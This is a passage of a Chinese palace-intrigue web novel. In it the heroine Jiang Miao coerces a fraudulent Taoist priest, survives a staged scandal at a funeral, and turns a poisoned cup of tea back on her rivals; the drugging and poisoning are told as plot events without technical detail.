闭目调息不过片刻,身体的疲惫还未得到缓解,忽而响起轻轻地两声叩门声。
张真人的眉头立刻皱了起来。
法事刚毕,国公府的下人应该都懂规矩,不会此时来打扰。
莫非?
如今他为陛下讲解经道,深受赏识,在昌都也是个有头面的人物。
莫不是今日前来吊唁的哪家勋贵重臣,见他主持法事颇有章法,心中信服,特意追到这静修处来,想私下求个指点,或是攀些交情?
这国公府的席面也不是谁想来就能来的,定然如此了。
这么一想,方才那点被打扰的不悦顿时消散大半,取而代之的满足感让他嘴角不自觉地上扬。
连身板也下意识地挺了挺,语气颇为矜持和淡然:“门外何人?贫道正在静修调息,若非急事,还请……。”
“叩,叩。”
门外人并未答话,还是叩了两声。
张真人从榻上下来,想看看究竟是何人,架子如此之大。
“吱呀”一声,门扉敞开。
一片光亮争先恐后地涌入房内,张真人一瞬闭了闭眼。
在睁开,他看见在那天光之中,一个素衣白裙,身材纤细的少女突然抬手一挥。
“这位小姐,此地乃贫道静修之所,女眷不宜擅入。若有疑难,可去前厅寻……。”
他的话戛然而止。
一股淡淡地药香随着她的衣袖带起来的微风扑面而来。
张真人心头猛地一跳,想要后退呼和,却已经来不及。
一股强烈的酸软无力感如同潮水般席卷全身。他周身的力气仿佛被抽干一般,双腿一软,竟扑通一声跌坐在地。
江渺反手合上门扉,隔绝了内外。
不枉她熬更打夜地改良配方,这麻药生效的速度,真是越发令人满意了。
她掏出手帕擦了擦手,慢悠悠地走到张真人身后的椅子坐下。
张真人惊惧不已,又满腔愤怒难以发泄。
他竟然被一个小姑娘算计了!
“你……你是何人?使的什么妖法?!”
“妖法?”江渺微微偏头,像是听到了什么笑话,嘴角弯起一丝没有温度的弧度:“比起刘先生你来,小女子这点微末伎俩,哪里配得称上为妖法啊!”
她的话语如同惊雷一般在他的耳边炸开。
她……她究竟是何人?
张真人瞳孔骤缩,本能地想要上前撕碎眼前的人,奈何身体麻木动弹不得,半晌也未曾挪动一寸。
他怒目看
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着她,心存侥幸地狡辩道:“你胡言乱语些什么!贫道俗家姓张,哪里来的刘先生。你认错人了!”
“是吗?”江渺轻轻将手帕折好,拿出一张信纸来从容念道:“刘立生,湖州安昌人氏。十八年前潜逃时卷走了安昌陆家的一块金石印。”
“让我瞧瞧。”江渺拿起桌上的拂尘,轻轻拨弄张真人的腰间,啪嗒掉下来一块金石,静静地躺在地上。
“哎呀,原来是回炉重造后挂在这里啊。我猜……你怕是日日夜夜摸着它,重温你犯下的罪恶吧。”
她一言一行落在刘立生的眼中,在他心里惊起惊涛骇浪。
他已经改名换姓十余年,从惶惶不可终日,到今日的深受皇恩荣宠。
这些年来从来没有人认识他,他以为,以为那些过往早就伴着那夜的大火燃烧殆尽了。
怎么会突然冒出一个少女来,将他死死的捏在地上动弹不得。
半晌,他笑出声来:“这位小姐您不妨直说,您想要贫道为您做什么?”
江渺挑眉。
哦?聪明。
她不和他废话,江渺从怀中掏出一颗药丸,直接给刘立生喂下。
“这是颗毒药。”
刘立生眼中一秒变得惊慌,但江渺直接道:“事成之后,我会给你解药。我要你,陪我演场戏!”
*
“就是这里!我看到江小姐就是在这里私会外男!”
一阵吵闹声自屋外响起。
“给我进去搜。我倒要看看是谁在安国公府老夫人的丧仪上做出这等不知廉耻的勾当?”
“香玉妹妹,这可是大事啊。你确定吗?”安乐看了眼紧闭着的房门,脸上挂着不可置信,声音却不小,足以吸引更多的目光看过来。
一众贵女公子面面相觑。这可是国公府啊!若真闹出丑闻……。
带头的孙将军的女儿孙香玉指着跪在地上的百环道:“这丫头可是亲眼看见江家大小姐进了这个院子。郡主,错不了。我俩一直守在这附近,根本没人出来过!”
安国公府的管事闻声过来,下人低低将事情说了一遍,听得额头冒汗,他连忙拱手对安乐道:“郡主明鉴!此院暂居的是府上为老夫人请来主持法事的张真人及其弟子,乃是府中贵客,更是陛下都知晓的人物。法事劳累,真人正在静修,万万惊扰不得啊!此事怕是有所误会,不如……。”
管事话没说完,赵嬷嬷从安乐旁边挤过来:“管事这话差矣。”
“正因为里头是真人,天师所居之处。如今出了这样的闲言碎语,今日若不查个水落石出,岂不显得我们郡主包庇纵容,污了老夫人身后清名?”
安乐点头,立即对身边人说道:“听到了吗?给我去开门,让我们看清楚是个怎么回事!”
几个奴仆应声就要去撞门。
与此同时,江渺早已将门外的动静听了个清清楚楚。
对方出手防不胜防,没想到突然来这一招。打了江渺一个措手不及。
安乐来势汹汹,一幅不达目的决不罢休的样子。硬碰肯定绝非良策。
江渺果断将麻药的解药喂张真人服下,急言交代几句,当机立断走进内室,轻推开后窗,想要翻窗从后院矮墙遁走。
“诶,小姐……。”张真人手停在半空中,欲言又止。
江渺闻言低头,身形一滞。一股湿润的水汽便扑面而来,抬眼望去,窗外竟是一片开阔的莲池,碧波粼粼,根本没有落脚借力之处!
她竟然没发现这小院子竟是临水而建!
前门被堵,后窗临湖,已是绝路!
25.休矣
“小姐,这可怎么办?”
张真人看了一眼去而复返的江渺,心下有些慌乱。
虽说他是陛下眼前的红人,可在国公府里被扣上一个与管家女眷私通的罪名,就是他有十个脑袋,怕也不够砍的。
江渺瞥了他一眼,飞快地说了声:“闭嘴。按我说的做!”
也不知这样色厉内荏的草包是怎么混到这个位置的。
张真人被这么一喝,突然也就冷静了几分。
感觉自己力气渐渐回拢,抓起地上的拂尘坐回椅子上,强壮镇定:“好,好,好,那小姐您躲在内室切莫出来,一切交给贫道应付。”
他话音刚落,门外便响起了急促的敲门声。
“出来!江渺我知道你在里边!”孙香玉亲自上来拍打着门。
半晌也没有动静。
安乐扬了扬手,几个粗壮家仆便拥上前去,抬脚“哐当”踹开了房门。
门屑翻飞了好一阵,门外的一群人才看清张真人独自端坐在梨花椅上闭目养神。
拂尘斜搭臂弯,纹丝不动,仿佛方才那声巨响不过是一阵微风。
冲在最前头的家仆见他这般镇定,脚下不由一顿。
张真人这才缓缓睁眼,目光平平静静掠过门口众人,最后落在先前招呼他的管事脸上。
“原来这竟是国公府的待客之道啊!贫道受教了!”
张真人扬起拂尘作揖,惊得管事急急从人群中出来躬身道歉:“真人息怒!事发突然,下人们鲁莽,惊扰了真人清修,实在是……实在是……”
他掏出手帕,不住地擦拭额角渗出的冷汗。话都说不利索了,心中也是叫苦不迭。张真人是府里的贵客,安乐郡主是贵妃娘娘的亲侄女,两边都开罪不起啊。
孙香玉瞥向旁边的安乐,见她嘴角噙着一丝冷笑,微微朝着她点了点头,心中顿时有了底气。
她朝前一步推开堵在门前的管事,伸长脑袋朝门里喊去:“江渺,别躲了!我知道你肯定在里边,痛快点自己出来,别让我们进去抓到你更丢脸!!”
张真人不动声色地将身形微侧,恰好拦在通往内室的珠帘面前,拂尘一弗横在胸前:“这位小姐说的哪里话。此间是贫道借宝地静坐冥思之地,何来他人?”
孙香玉嗤笑:“有没有,进去一看便知。”
张真人岂容她胡来,眼神示意管事拦着。
那管事也是心头一紧,察觉些不对劲,今日若真在此闹出什么不堪的丑事来,可怎么向老爷交代啊?
只得硬着头皮上去,赔着笑劝孙香玉三思而行。
趁着这个空隙,江渺眼光极快地扫过厢房内的物品,眼光瞥见角落木施上搭着一件深灰的粗布短褐,似乎是还未收走的衣衫。
她毫不犹豫地走过去取下,正要伸手取下头上的玉簪时,窗边突然传来一声异响。
江渺迅速拔下玉簪做防备姿势,长发如瀑布一般倾泻而下,在一片暖光中泛着光。
似有春风拂面而来,电光石火之间,她感觉到面庞传来一阵温热的触感,眼眸瞥见一抹玄色,整个身子便如同失控一般跌入一个厚实的胸膛。
黑发在空中划出完美的弧线,随后悠悠从眼前飘落。
这时江渺才看清了眼前之人正是南宫煜。
“叮”,手中的玉簪突然滚落在地。
几乎同时,所有人的目光都朝内室看来。
“听到了吧!里边果然有人!”孙香玉势在必得地走上前,管事的劝,张真人拦,一时间现场变得混乱。
他们这样,更是此地无银三百两。<
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安乐笃定,这次一定不会让自己失望,眼神示意赵嬷嬷。
于是赵嬷嬷也加入了战队。
江渺从地上的簪子上收回目光,下意识抬头看向珠帘外。
【得了,现在又来一个怎么解释的清楚啊!】
【怎么办,怎么办,死脑子快想啊!】
“别怕!”南宫煜突然开口,他的声音响在耳畔,压得极低,像是春水流淌,又像是暮色中漫起的潮汐,将她的心神扯回到这方寸之间。
这时,江渺才意识到他们之间的姿势太暧昧了。
他的手还握着她的手臂,她的脸颊还靠着他的胸膛,连他呼出的气息都轻飘飘地洒在她的额头。
就这一秒,她心如鼓擂,耳根倏地红了。
南宫煜似乎未曾察觉她的异样,待她身形稳住,便即刻松开了握着她手腕的指节,后退半步,拉开一道克制的距离。
他面容已经恢复惯有的疏离冷淡,只抬手,修长的食指无声地抵在自己的唇前,做了个噤声的手势,随即侧首指了指窗外。
江渺会意。
“让开!”孙香玉历喝一声,她力气不大,但是不管是管事的还是张真人,都没人敢真的阻拦她。
何况她身边那膀大腰圆的赵嬷嬷已然上前,蒲扇般的手掌一推一搡,便将拦路的二人拨开,为孙香玉清出一条直通内室珠帘的路。
一时间,内室门外,骤然死寂。
所有人的目光都死死胶着在那被穿堂风拂得轻轻晃动的珠帘上,耳边只听得琉璃碰撞,叮当作响。
孙香玉的手,伸向了帘子。
张真人望天,我命休矣!
安乐则得意地扬起嘴角。
“出来!”
珠帘被猛地掀开,哗啦作响。
26.发作
众人闻声,皆是一愣,随后回头一看,脸上神色皆各有不同。
有惊讶,有疑惑,更有人暗自庆幸或遗憾。
脸色变幻最快的当属正欲跨步去屋内的安乐。
怎么可能?
江渺对四处投来的目光恍若未觉,步履轻盈地与赵婉欣和江璟儿插肩而过,缓缓走到柳如云身边接替了微云扶着的手。
安乐推开身边的赵嬷嬷,径直走到江渺面前,言辞凿凿地质问:“你怎么在这里?”
江渺故作疑惑:“郡主何出此言?我为什么不能在这里?那我应该在哪里?”
“你应该……”她伸手指了指内室,却在回身时眼光掠过姜珠铁青的脸色突然顿住了。
江渺没有理睬安乐郡主的话,转而对着柳如云道:“女儿贪看园中晚开的几株海棠,不觉走远了些,因而迷了路,好在遇到这位姐姐。”
她说着,侧身让开半步,目光投向自己身后不远处,“这才一同寻了过来,不想母亲您在这里。”
众人闻言,皆顺着她的视线望过去。只见一位身着月白云锦长裙,气质清冷如明月的少女,正静静地现在一树绯红的海棠花下,不知已旁观了多久。
在场有眼见的夫人们待看清来人,已倒吸一口凉气。
竟是三公主南宫凝!
姜珠心中重重一沉。
南宫凝乃是先皇后嫡出的三公主,自先皇后薨逝后便深居简出,连宫宴都常称病推却。
除了早年曾随皇后赴过国公府几次,近年来几乎无人得见真容。今日安国公府丧仪,三公主明明也推拒了邀请……
今日怎会悄无声息地出现在安国公府后园?
姜珠蹙了蹙眉,飞快地瞥了一眼停灵的方向。
莫非是老太太生前与先皇后曾有旧谊,公主殿下是念着这层情分,才悄然前来吊唁,不愿声张?
前有睿王,后有三公主,这都是什么事!
姜珠赶快上前行礼,众人皆是一惊。
南宫凝抬手让姜珠起来,不经意地将自己裹着素帕的袖口露出些许,“本宫在后园散步时,不慎为花枝所伤,是这位小姐路过,以随身锦帕为本宫包扎止血。”
她说着,目光转向江渺,唇角极淡地牵起一个近乎不见的弧度,点了点头。
那笑意很浅,却让江渺心头一颤。
【这这这,又偶遇一位大佬么……】
原主惨死陵王之手的阴影还在眼前挥散不去,江渺一心惦念着离天家越远越好。
这怎么回事?前脚被迫和睿王合作,后脚又遇到一个毫无印象的三公主。
真不知是福是祸。
【这身体是自带雷达,专门解锁皇室隐藏npc吗?】
听着这乱七八糟的发言,南宫煜嘴角轻轻一勾。
他隔着人群对南宫凝微微点头,南宫凝会意,淡淡开口:“本宫知道的就这些。”
柳如云见事已明了,拉着女儿的手对姜珠道:“公主殿下明鉴,夫人也看到了。小女方才确有他处可证,绝非某些人口中那般不堪!如今误会虽解,但小女平白受此污蔑,险些清誉尽毁,此事……不能就此作罢!”
所有人的目光再次转向脸色不佳的安乐郡主。
方才她信誓旦旦,以清誉为名强行要搜查时说过,若是无人,她必要向江渺郑重道歉。
此刻这道承诺像是无情的枷锁,将她牢牢地桎梏在原地。
可她是郡主!身份尊贵,金枝玉叶!就算她错了,杀了人,那人都得对她千恩万谢。
要她向那个养女道歉?凭什么?
她要道歉岂不是承认了她错了?
那她往后还怎么争陵王哥哥欢心??
她颜面何存?!!
心头百种念头回转,所有人的目光胶着在她身上。
不行,绝不行!
安乐忽然抬手扶额,身子轻轻晃了晃,脸上最后一丝血色也褪得干干净净。
她嘤咛一声,眼睫颤了几颤,似是不胜负荷,整个人便软软地向后倒去。
“郡主!”离她最近的赵嬷嬷惊呼一声,慌忙上前搀扶。
姜珠见状使了一个眼色给管事的,管事急忙上前招呼让人请太医,又指挥人抬来春凳。
“睿王殿下,三公主,您看这……”姜珠指着倒地的安乐郡主询问。
南宫凝淡淡瞥了一眼人影绰绰的混乱处,又悠悠地挪开眼神,对众人道:“本宫不喜喧闹。既然无事,便先去看看老夫人罢。”
说完,她便真的转身离开。
姜珠只得将目光投向南宫煜。
南宫煜的目光不动声色地扫过江渺的脸,只见她微微垂着眼睫,几不可察地轻轻摇了摇头。
【戏台子搭好了,怎么能没有唱戏的人?】
南宫煜立刻会意,淡淡道:“今日贵妃娘娘要亲临。不如请贵妃娘娘定夺如何?江小姐觉得呢?”
江渺适时上前半步,对着南宫煜盈盈一礼:“殿下思虑周全。贵妃娘娘是郡主至亲,又是长辈,慈爱明理,洞察秋毫。由娘娘亲自过问,既全了爱护晚辈之心,又能明辨是非,平息物议,自是……最为妥当。”
姜珠闻言,心中暗叹这江家女好生厉害,三言两语便将烫手山芋彻底丢给了即将驾临的贵妃,自己却落了个恭顺懂事的名声。
她连忙附和:“王爷明鉴,江小姐所言甚是。妾身这便加派人手,妥善安置郡主,静候贵妃娘娘。”
南宫煜不再多言,只略一颔首,算是默许了这个安排。
安排完安乐郡主之事,柳如云目光扫了一眼畏畏缩缩躲在门后的孙香玉,以及站在江璟儿身后脸色苍白的赵婉欣。
尤其是看到赵婉欣拉着江璟儿的衣角时,脸色变得很难看。
果然是养不熟的白眼狼,居然和出言中伤自己妹妹的人搅在一起?!
“璟儿”,柳如云语气并不是很和善,她心里憋着气,直接命令道:“过来!”
江璟儿被这么一喝,身形一颤。她迅速瞥了一眼身侧惶然无措的赵婉欣,心头飞快的盘算。
她的棋局已然摆好,此刻怎能自断臂膀?此刻与赵婉欣彻底切割固然能平柳如云的怒火。但是没了这颗棋子,她的计划岂不是全然被打乱了。
只要没了江渺……,她柳如云又能活到几时?
定了定神,江璟儿挪步上前,在柳如云冰冷的目光里微垂着头,小声辩解道:“婶母息怒,婉欣妹妹她,她年纪小不懂事,方才所言皆是无心之失……,璟儿保证,婉欣妹妹她并非存心害渺妹妹……”
一席话听得柳如云怒火更盛。
到了此时,她还在为外人说话!
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她!
正要发作,身旁的江渺轻轻拉了拉她的袖子,低声在她耳边说道:“母亲,今日是国公府的大事,宾客皆在,诸多不便。”
她目光扫过江璟儿和赵婉欣,轻轻摇头:“璟儿姐姐或许也是一时心软。如何处置赵小姐,想来国公夫人自有分寸,您且消消气,莫要气坏了身子。”
被女儿这么一劝,柳如云的理智回笼几分。她狠狠瞪了江璟儿一眼,最终对姜珠硬声道:“既是贵府宾客,如何处置,但请夫人做主。妾身身子不适,先行告退!”
江渺也与睿王等人一礼,扶着母亲下去休息。
江渺一走,众人也就散了。姜珠忙着收拾残局无暇顾及孙香玉和赵婉欣,只吩咐管事通知孙将军和烈国公府。
赵婉欣终究还是个孩子,逞一时口舌之快,眼见着安乐郡主都失了势,直觉自己闯了大祸,如今还要闹到父亲面前,怕是要被骂死。
眼睛红红,眼前只有江璟儿可信,绞着手帕向她哭诉。转念又想到刚刚璟儿姐姐为她得罪了柳夫人。
怕是回府以后比她的下场更惨罢……
江璟儿只是安慰她,丝毫不提及自己的难处,更是让赵婉欣心中微动,她将一切罪责都归咎于江渺身上。
好一个养女,看我不好好收拾你!
*
直至晚宴开始,佳贵妃才姗姗到来。
她在宫中便听说了今日安国公府上演的一场闹剧,当即便差人将安乐接回了玉辰宫。
宫人们隐约听着紧闭的宫门内传来佳贵妃厉声的呵斥,各个都噤若寒蝉不敢怠慢。
这场训斥足足持续了半个时辰,佳贵妃起驾前往国公府,而安乐则像是失去灵魂的木偶,被佳贵妃的线牵引着麻木地回到安国公府。
暮色沉沉,灵堂的灯火与哀乐更添肃穆。
佳贵妃先在老夫人的灵前郑重上香,沉默吊唁,又宽慰了几句安国公府众人,这才在姜珠的指引下来到晚间的素宴。
若是平常,晚间宾客大多散去,只留下至亲守灵。然而今日因着白日的风波与贵妃驾临,这顿素宴多了几分不同寻常的味道。
席面摆在灵堂侧边的敞厅,素烛高烧,照的满堂雪亮,却又因着满目素缟以及不远处正在做法事低沉的吟诵声,透着一股挥之不去的压抑感。
佳贵妃端坐主位,仪态雍容,眉宇间带着一丝歉意,她举杯道:“今日安乐年少莽撞,扰了老夫人清净,也惊扰了诸位,实属本宫之过。借此一盏,向大家赔罪。”
佳贵妃素来贤名在外,对自己的侄女也不予包庇,令人感佩。
在场的女眷纷纷点头回敬。
江渺有些许疑惑。据她所知,最开始佳贵妃是不愿意和长阳侯府结亲的。
原主纠缠陵王与安乐郡主争风吃醋这件事情,非一朝一夕,江渺不信佳贵妃不知此事。
早些时间也曾传出佳贵妃要在贵女之间为陵王选正妃的消息,那时长阳候也派人也曾去探过口风,佳贵妃对名声有瑕的原主并不热络。
后来长阳候经不住原主央求,独自去了藏书阁一息时间,拿了个盒子出来径直去玉辰宫。
再后来就来信说佳贵妃已经同意了婚事……
正在神游太虚之时,佳贵妃的目光轻飘飘地落在江渺身上,浅笑着唤到:“江小姐……”
27.做法
佳贵妃一出声,满堂皆静,所有人的目光都聚集在江渺身上。
就连坐在旁侧的南宫凝也放下手中的杯盏看了过来。
“江小姐。”佳贵妃嘴角噙着一丝浅笑,语气温温和和:“今日之事,委屈你了。安乐不懂事,本宫已严加训斥。”
她微微侧头,对站在身边不知想着什么的安乐喊道:“安乐,还不快过来,亲自向江小姐赔个不是。”
到也不至于这么大阵仗吧。江渺不过想让佳贵妃对其小惩大诫,只要安乐收起她要害她的心思,她也不想把她怎么样。毕竟她是个炮灰,真正要和陵王结亲的又不是她。
在安乐走过来前,江渺先站起身来福了一礼:“娘娘言重了,万万使不得。今日之事不过偶有龃龉,怎敢劳动郡主金躯?郡主身份尊贵,臣女万万当不起郡主的礼。能得娘娘与郡主一言体谅,臣女已是感激不尽。”
闻言安乐的脚步顿了顿,犹豫着抬头看了一眼佳贵妃,又被她的眼神喝住。
“江小姐宽宏大量,你更应该诚信致歉。还愣着做什么?”
她摆摆手,立刻有两名侍女各自端着雕花漆盘上前,盘中一对薄胎白瓷茶盏,釉色温润如凝脂,衬得其中茶汤愈发碧绿清透。
“你便以茶代礼,敬江小姐一盏,今日之事,就此揭过。”
佳贵妃淡淡说。
安乐麻木地走过去,江渺先行将茶盏端起来,正要饮用时,一丝极淡的药香从鼻尖掠过。
江渺的手忽的定住。
原来是在这里下手么?正如所愿。
她不动声色地将茶盏举起,好让身后人看清她的动作。
与此同时。
“乾坤朗照,邪秽显形!急急如律令!”
灵堂那边,张真人一声灌注了内力的清喝如晨钟暮鼓骤然响起!
紧接着是数张符箓同时燃爆的噼啪声,火光骤亮,将灵堂帷幔映得光影乱舞,铜铃法磬之声随之大振,急促得近乎狂乱!
这激烈动静,瞬间激得在场人的心神一震,大家的目光不约而同地朝那火光处望去。
趁此机会,江渺手腕几不可察地一沉一抬,袖缘拂过桌面,待她收回手时,指间那盏微温的茶已与身前案桌上另一盏备用清茶悄无声息调换了位置。
动作快如疾风拂柳,未惊起半分尘埃。
待灵堂符火稍黯、众人惊魂甫定地转回视线时,只见江渺手捧茶盏立在远处,笑意盈盈地看着安乐。
“今日……今日冒犯江小姐了。”安乐咬着牙道歉,一仰头清茶便见底。
“郡主言重了。误会解开便好。”她也端茶回敬。
“如此甚好。”佳贵妃点点头,又与江渺说起不久后的赏花宴。
众人目光交汇之间,隐晦的察觉到了点什么。
而姜珠默默地坐在旁边听着,不由地打量起眼前的少女来。
只知佳贵妃有意与长阳侯府,她当是玩笑话,如今看来竟是真的。
这小姑娘使了什么手段,让眼高于天的佳贵妃对她青眼有加,乃至当众维护?!
她不知道,江渺也没想明白。不过看来今日在院中她骂人那一幕是没有什么效果。
眼光不由地看向端坐在末位的江璟儿,对着神色复杂的她,微微一笑。
这一笑,忽的让江璟儿心头有些发麻。
也让等着看好戏的赵婉欣有些疑惑。
还未多想,那边做法的张真人竟已收了部分架势,手持微微颤动的桃木剑,面色凝重地快步朝敞厅走来!
他的目光如电,死死的胶着在江渺身上,仿佛看到了什么极其不祥的景象。
“福生无量天尊!”
张真人怒喝一声,惊得江渺身旁的安乐后腿一步,江渺则一脸疑惑地看着张真人。
“娘娘,夫人,诸位贵人,请恕贫道失仪!方才灵前净煞,罗盘所示,阴秽不散,竟有纠缠生人之象!”
他突然伸出手指遥遥指向身前的江渺眉心:“印堂青黑,气若游丝,周身隐有阴秽缠绕,此乃煞气附体之兆!”
一语毕,在座者又是面面相觑。
好戏天天有,今天尤其多啊!
柳如云一听见女儿又成为众矢之的再也坐不住,拍桌而起:“张真人,何出此言?!我女儿好端端的在此,何来气若游丝之说!”
四下顿时响起一片窃窃私语声。目光在几人身上来回逡巡,惊疑不定。
贵妃也挑眉看向江渺,只见她面色红润,脸上虽有惊惧之色,可怎么都和煞气缠身气若游丝之说扯不上关系。
可疑虑刚起,另一个念头又压了下来,陛下重道,近日常召张真人讲经论法,更曾亲口对她赞许张真人道法高深玄妙,服用其炼制的丹药后,精神都日渐健旺。
陛下金口玉言,岂能有假?钱老太太是陛下敬重之人,连她的丧仪也是陛下钦点张真人来主持。
张真人得陛下如此信重,必有其非凡之处。他此刻如此短言,恐怕……并非空穴来风。
思及此出,佳贵妃不便开口,只静静地看向张真人,等他下文。
张真人手中桃木剑在空中划出一个完美的弧度,手中符纸唰得燃烧起来,惊得柳如云一愣,又听他道:“夫人稍安,贫道所言气若游丝,并非指令爱的贵体。乃是气运之丝,生机之线。常人只见皮相,贫道观气,关乎福祸。”
他指诀变换,语气愈发沉重:“江小姐本是凤格鸾章,命宫清贵,乃福泽深厚之相。然则……”
语气中忽的多出一丝遗憾:“正因命格贵重,纯净无瑕,反易引来阴秽之物觊觎纠缠!”
他一番说辞玄奥难测。手中燃烧的符纸化作一缕青烟,盘旋不散,竟似幽灵般缭绕在江渺身周三尺之处,引得众人惊呼连连。
柳如云被这玄奇景象骇得后退半步,脸上怒色渐被惊疑取代,迟疑道:“会如何?”
张真人语气颇为严肃:“贫道观小姐如今眉间青痕隐现,周身清气被污,两相冲克,凶险更甚寻常百倍!此煞不仅侵蚀小姐自身福缘根基,日久必损寿元,更因清浊激烈相冲,若滞留此地,恐扰得家宅不宁,波及气运衰弱之人!”
“这……这……”听着张真人的话语,柳如云一时间惊得话语都说不清,脸色煞白,险些站立不住。
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>佳贵妃凤目微凝,指着那缭绕不散的青烟道:“真人,既如此可有什么法子可解吗?”
张真人掐指一算,又是以罗盘占卜,片刻后才回道:“回娘娘,贫道观天象地气,正南千里外,南靖仓山县有一处澄心观,坐拥千年地火余埋,阳气纯正充沛,最克此类阴秽。江小姐前往道观,闭关静修一月,可借地脉阳和之气徐徐化之,往后自会平安顺遂,一生无忧。”
南靖……,那可比阳原还远啊。柳如云一听,心都揪紧了,低低道:“真人,那南靖山高水远,渺儿她孤身在外,我……我……”
虽然张真人说得玄奥郑重,可是众人还是将信将疑,当真有那么古怪吗?煞气之说终究虚无缥缈,就算他是陛下面前的红人,可真能凭借三言两语就让管家小姐千里跋涉去那偏远之地?
佳贵妃也蹙了蹙眉,一个月……,那澈儿的婚事怕是得缓一缓了。还有,南靖,怎么又是南靖?澈儿心仪的那个狐媚子就在南靖。是巧合,还是……
江渺沉默地看着众人脸上各色表情,心知时机已到,轻轻地抬手。
张真人立即会意,只看向柳如云,满怀深意地问道:“夫人,可是信不过贫道所言?”
“不……”柳如云本就在信与不信之间反复徘徊,涉及到女儿的安危,心乱如麻。
“夫人且看。”
张真人忽地转身,面向江渺,手中拂尘无风自动。
他双指并拢,凌空虚画,口中念念有词,片刻,身前的江渺身形猛地一动。
只见她眉心那抹淡得几乎看不见的青痕,竟在众目睽睽之下,颜色骤然加深,隐隐透出一丝诡异的暗红!她的胸口剧烈起伏,脸色大变,额角与鼻尖却沁出大颗大颗的冷汗。
不多时,脸上覆上一层青灰,唇色也变得乌紫,竟是濒死之兆!
柳如云见状,骇得魂飞魄散,失声叫道:“渺儿!” 便要扑上前去,却被张真人身形一挡,只能眼睁睁看着女儿痛苦挣扎,心如刀绞,脸色比江渺还要惨白,浑身颤抖不止。
江璟儿站在人群后,死死盯着江渺眉间那抹诡异暗红和覆满青灰的脸,心脏狂跳。成了?那茶水里的东西……发作了?她下意识地攥紧袖口,死死地盯着地上的江渺,想要看到她七窍流血的惨样。
她喝了的,一切来得迟了些,可这次终于成功了……
赵婉欣则见状惊疑不定,脸色煞白。她亲手下的分明是让人腹痛出丑的泻药粉末,怎会是这般骇人症状?
难道……张真人的术法是真的?
她下意识地看向江璟儿,只见她嘴角露出几分若有若无的轻笑,一时间竟忘记了开口。
而站在江渺身旁的安乐郡主,则被这突如其来的惊喜给吓了一跳,往后退了一步竟撞在了茶桌上,望着江渺痛苦的模样,心头那股子委屈顿时化作一阵扭曲的快意。
她甚至觉得喉间干渴得厉害,下意识地伸手,摸到身旁小几上自己那盏尚未动过的茶水,看也没看,便端起来送到唇边,一边小口饮着,一边紧盯着江渺,嘴角几乎要抑制不住地向上弯起。
活该!叫你装模作样,叫你引得姑母……
28.关心
“夫人,小姐醒了。”阿洛面色一喜,急急地跑出门禀报。
很快,熟悉的身影带着满脸的担忧来到她的床边:“渺儿,你可觉得哪里不舒服?”
江渺坐起身来,扫视了一眼屋内陈设,此处并非自己的卧室,面露些许迷茫之色。
“小姐,这里是安国公府的厢房。您晕倒了,就暂时在这里歇息。”阿洛解释道。
江渺点点头,望向柳如云,闹了这么一遭许是把母亲吓坏了,不觉得目光柔软下来,轻声安慰道:“母亲,女儿没事,您别担心。”
柳如云抹抹泪,这才想起来三公主说江渺为她疗伤欠她一个人情,不看见她转醒,不放心,此时正在外间等候,便差微云立即去禀报。
江渺接过阿洛递过来的茶喝下,忽然开口问道:“钱老夫人的法事做完了吗?我是不是惊扰了国公府的清净?璟儿姐姐还有灵儿已经先行回去了吗?”
话音一出,柳如云面露几分怒色,手中的丝帕大力之下皱成一团,她抬手拍在床沿:“别提这个败坏门楣的东西!”
“夫人息怒。”阿洛接过话茬解释,“小姐您不知,您昏睡时出了大事。赵小姐涉及到在您的茶杯里投毒,贵妃娘娘将璟儿小姐带回去问话了。”
自作聪明,想在国公府里,贵妃眼下下毒,真是不自量力。江渺将杯子还给阿洛,故作惊讶:“下毒?怎么会……”她低下头看向自己的双手,喃喃道:“女儿与那赵小姐往日无怨,近日无仇,她为何要这样害我?”
一想到女儿差点被暗害,柳如云就心疼不已,忙拉着江渺安慰:“许是江璟儿那个贱蹄子在背后挑唆。赵婉欣才做出如此荒唐之事!好在你没有事,哎,就是可惜……”
江渺微微挑眉,可惜?
阿洛见状,突然压低了声音,“小姐,安乐郡主中毒了,现下还是生死未卜。”
嗯?她不是把带毒的茶盏换掉了吗?怎么还会中毒?
阿洛说:“小姐,您昏迷后,郡主突然口吐鲜血,倒地抽搐不止。太医说怕是……凶多吉少。”
柳如云也接过话茬:“佳贵妃当场发作,命人封了府,还没开始搜查,赵婉欣就吓得浑身哆嗦。”
安乐郡主是贵妃的亲侄女,如今生死不明。怕是会雷霆震怒,不会轻易放过下毒之人。
以江璟儿的心性,不会傻到留下证据来让人搜查,她定是早就设计好了一切,就让赵婉欣这个蠢货去当替死鬼了。
本来以为早上一番敲打,江璟儿可以有所收敛。如今她是铁了心要一条道走向黑了。
她设下此局,要不要入全在于江璟儿。
若她就此收手,今日就只是她江渺煞气发作离开昌都静养。可她偏偏按捺不住,要向她下手,那么她要叫她身败名裂,再不能为患。
唯独算漏了安乐郡主会误打误撞服下那被毒茶。
真是讽刺。
江璟儿暗中递出的刀,安乐明里挥来的鞭,本都是冲着她来的。
如今倒是上演出了一场狗咬狗的大戏。
“夫人,小姐,三公主来了。”微云推门先禀报,柳如云赶快将人请了进来。
南宫凝与母女二人简单寒暄后,开门见山:“父皇听闻了今日安国公府之事,已经有了旨意。”
她看了一眼面色还有些苍白的江渺,清冷的声音多了两分柔和:“父皇说,江小姐既然身染阴煞,需好生静养。一切如张真人所言,待身子调理得宜,前往南靖澄心观静修。煞气除尽后,再行返回昌都。此乃为江小姐自身康健,亦是为城中安定考虑。”
作为坚定地社会接班人,就她这一步棋若是放在现代,怕是会被警察叔叔以妖言惑众之名抓进局子。江渺暗叹一声,还好她赌赢了。依着礼数,在阿洛的搀扶下徐徐向南宫凝行礼,“臣女叩谢陛下隆恩体恤,定当遵从圣意,静心修养,以求早日康健,不负天恩。”
柳如云还是有些担心。张真人所言,渺儿此去修行,除了贴身近侍着,旁人皆不可跟随。女儿在家从来都是前呼后拥,那南靖路途遥远,澄心观又地处偏僻,条件有限,渺儿她能受得了吗?想到这里,眼泪不禁落下来,啪嗒打在和江渺交握的手上。
“母亲……”
江渺转身扶柳如云坐下,“渺儿知道母亲担心渺儿,母亲不必忧心,女儿定能好好照顾自己,平安归来。有母亲挂念,女儿不敢不过的开心。”她轻声安慰着柳如云,信誓旦旦的保证着。
南宫凝望着眼前的母女,心中闪过一丝别样的情绪。若是母后还在,或许也会这般殷切叮咛,百般不舍吧。母后,女儿定会查明真相!这念头在心中一起,她掌心的指甲几乎嵌进肉里,一瞬的疼痛让她冷静下来恢复了惯常的冷淡。
